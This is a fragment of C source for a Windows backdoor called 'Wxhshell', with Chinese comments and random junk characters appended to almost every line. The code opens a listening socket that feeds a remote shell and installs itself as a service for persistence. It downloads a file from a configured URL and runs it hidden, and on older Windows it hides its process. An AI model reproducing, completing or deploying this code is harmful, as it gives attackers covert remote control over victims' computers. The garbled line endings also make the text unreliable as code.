DWORD BasePriority; jL(qf~c_
ULONG UniqueProcessId; :Nu^
ULONG InheritedFromUniqueProcessId; M54j@_81pX
} PROCESS_BASIC_INFORMATION; H:!7:
;ToKJ6hN|*
PROCNTQSIP NtQueryInformationProcess; HuB<k3#sPy
S7=Bd[4
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q+P|l5_
t
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aT_&x@x
8S>&WR%jH]
HANDLE hProcess; ([
jF4/
PROCESS_BASIC_INFORMATION pbi; AP[|Ta
%R@X>2l/_
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7+]=-
if(NULL == hInst ) return 0; `^bgUmJ~
D-8O+.@
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %T X@I$Ba
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); P9=?zh6G.
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wm]^3qI2
MG[o%I96
if (!NtQueryInformationProcess) return 0; N e#WI'
eK.e|z|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j'%$XvI
if(!hProcess) return 0; M&NB/
BYs-V:
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c7tfRq
n+
w=j
CloseHandle(hProcess); CamE'
2WtRJi?b|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >=UF-xk;
if(hProcess==NULL) return 0; w=LP"bqlI
MS0Fl|YA
HMODULE hMod; dFH$l
char procName[255]; Fx5d:!]:$?
unsigned long cbNeeded; kGdt1N[
66.5QD0
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OH5>vV'i
Lb;zBmwB
CloseHandle(hProcess); N@O8\oQG
p"l3e9&'j
if(strstr(procName,"services")) return 1; // 以服务启动 ZKQG:M~|
@;<ht c
return 0; // 注册表启动 jV?
}9L^;
} PQK(0iCo4
U
f|>
(C
// 主模块 .C2TQ:B, .
int StartWxhshell(LPSTR lpCmdLine) kGd<5vCs
{ iXjo[Rz^C
SOCKET wsl; OfctoPP _0
BOOL val=TRUE; usEwm,b)
int port=0; ~_Lr=C D;4
struct sockaddr_in door; R2(3>`FJ
Ix(?fO#uNF
if(wscfg.ws_autoins) Install(); Gm9hYhC8
% z#f.Ql
port=atoi(lpCmdLine); x~GQV^(l3
{"&SJt[%X
if(port<=0) port=wscfg.ws_port; /1x,h"T\<
'XzXZJ[uq
WSADATA data; ZO4*sIw%
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5B&;uY
C?i >.t
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; D\[h:8k
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :um|nRwy9
door.sin_family = AF_INET; X{we/'>
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6B@CurgB
door.sin_port = htons(port); YO}1(m
h$.:Uj8/
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9lGOWRxR)
closesocket(wsl); jM$`(Y
return 1; 3GuH857ov
} 4O;OjUI0a
_~rI+l A
if(listen(wsl,2) == INVALID_SOCKET) { RRGWC$>?
closesocket(wsl); ]J:1P`k.
return 1; {X[ HCfJd
} Ux#x#N
Wxhshell(wsl); Qt,M!i,
WSACleanup(); HAv{R!*
`2`\]X_A{
return 0; ] )F7)
@BrMl%gV
} x7vctjM|
u`olW%C/T
// 以NT服务方式启动 Q>R>R*1.j
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F29va
{ =^".{h'-
DWORD status = 0;
hE?GO,
DWORD specificError = 0xfffffff; 16d{IGMz
@%5F^Vbd
serviceStatus.dwServiceType = SERVICE_WIN32; N]<~NG:6b
serviceStatus.dwCurrentState = SERVICE_START_PENDING; =fu_ Jau}
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Vv*5{_
serviceStatus.dwWin32ExitCode = 0; 5"Xo R)
serviceStatus.dwServiceSpecificExitCode = 0; 6`{)p&9
serviceStatus.dwCheckPoint = 0; fh5^Gd~
serviceStatus.dwWaitHint = 0; xX67bswG
{3yws4
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GQc%OQc\
if (hServiceStatusHandle==0) return; a6K$omu
%%-Tjw o
status = GetLastError(); ;-P:$zw9c
if (status!=NO_ERROR) ~NJL S-
{ wE=8jl*
serviceStatus.dwCurrentState = SERVICE_STOPPED; Q0oDl8~
serviceStatus.dwCheckPoint = 0; h: (l+jr
serviceStatus.dwWaitHint = 0; :O2v0Kx
serviceStatus.dwWin32ExitCode = status; ^<H#dkECG
serviceStatus.dwServiceSpecificExitCode = specificError; m$e@<~To
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z{>Y':\?<
return; Vt 5XC~jK
} )Z`viT
b9!J}hto,
serviceStatus.dwCurrentState = SERVICE_RUNNING; W71#NjM2Z
serviceStatus.dwCheckPoint = 0; ]{ l
O
serviceStatus.dwWaitHint = 0; gcY~_'&u
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iS^^Z ZyR
} 1 bx^Pt)
v,O&UrZ
// 处理NT服务事件,比如:启动、停止 MZ#2WP)F
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1F%*k &R
{ jZgnt{
switch(fdwControl) ny;)+v?mN\
{ bu!<0AP"N+
case SERVICE_CONTROL_STOP: w+ )GM
serviceStatus.dwWin32ExitCode = 0; GVPEene
serviceStatus.dwCurrentState = SERVICE_STOPPED; jYssz4)tp
serviceStatus.dwCheckPoint = 0; &rE l
serviceStatus.dwWaitHint = 0; XT;IEZQZ
{ \y+F!;IxL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pn){xfqDl
} .*..pf|/
return; a[OLS+zf!P
case SERVICE_CONTROL_PAUSE: VHkrPJ[
serviceStatus.dwCurrentState = SERVICE_PAUSED; 2H0q\zZ
break; [75e\=wK
case SERVICE_CONTROL_CONTINUE: jfhDi6N
serviceStatus.dwCurrentState = SERVICE_RUNNING; st^N QL
break; rs)aEmvC
case SERVICE_CONTROL_INTERROGATE: .ceU @^
break; GoGgw]h>x
}; gG|1$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); v8M#%QoA
} YV+dUvz
15yV4wHr
// 标准应用程序主函数 l3
Bc
g
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <{~UKi
{ C F 0IP
J;9QDrl`
// 获取操作系统版本 1T^L) %&p_
OsIsNt=GetOsVer(); ]fmf X
GetModuleFileName(NULL,ExeFile,MAX_PATH); Or~6t}f
X Ow^"=Oa[
// 从命令行安装 Q ?<9
if(strpbrk(lpCmdLine,"iI")) Install(); Q>Q}/{8!
= nN*9HRD
// 下载执行文件 sX?7`n1U
if(wscfg.ws_downexe) { Uv$u\D+@[
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gDBQ\vM8
WinExec(wscfg.ws_filenam,SW_HIDE); tAn6pGp
} DccsVR`7
Oc=PJf%D#
if(!OsIsNt) {
K8we*
// 如果时win9x,隐藏进程并且设置为注册表启动 \d`Sz
*
HideProc(); ~&jCz4M
StartWxhshell(lpCmdLine); *g}&&$b0
} r\D8_S_
else 1F8EL)9
if(StartFromService()) SuuS!U+i>
// 以服务方式启动 YA8~O5
StartServiceCtrlDispatcher(DispatchTable); ^aMdbB
else H( m+rk
// 普通方式启动 CplRnKra
StartWxhshell(lpCmdLine); H2KY$;X[
tS@/Bq('B
return 0; HK.J/Zr
}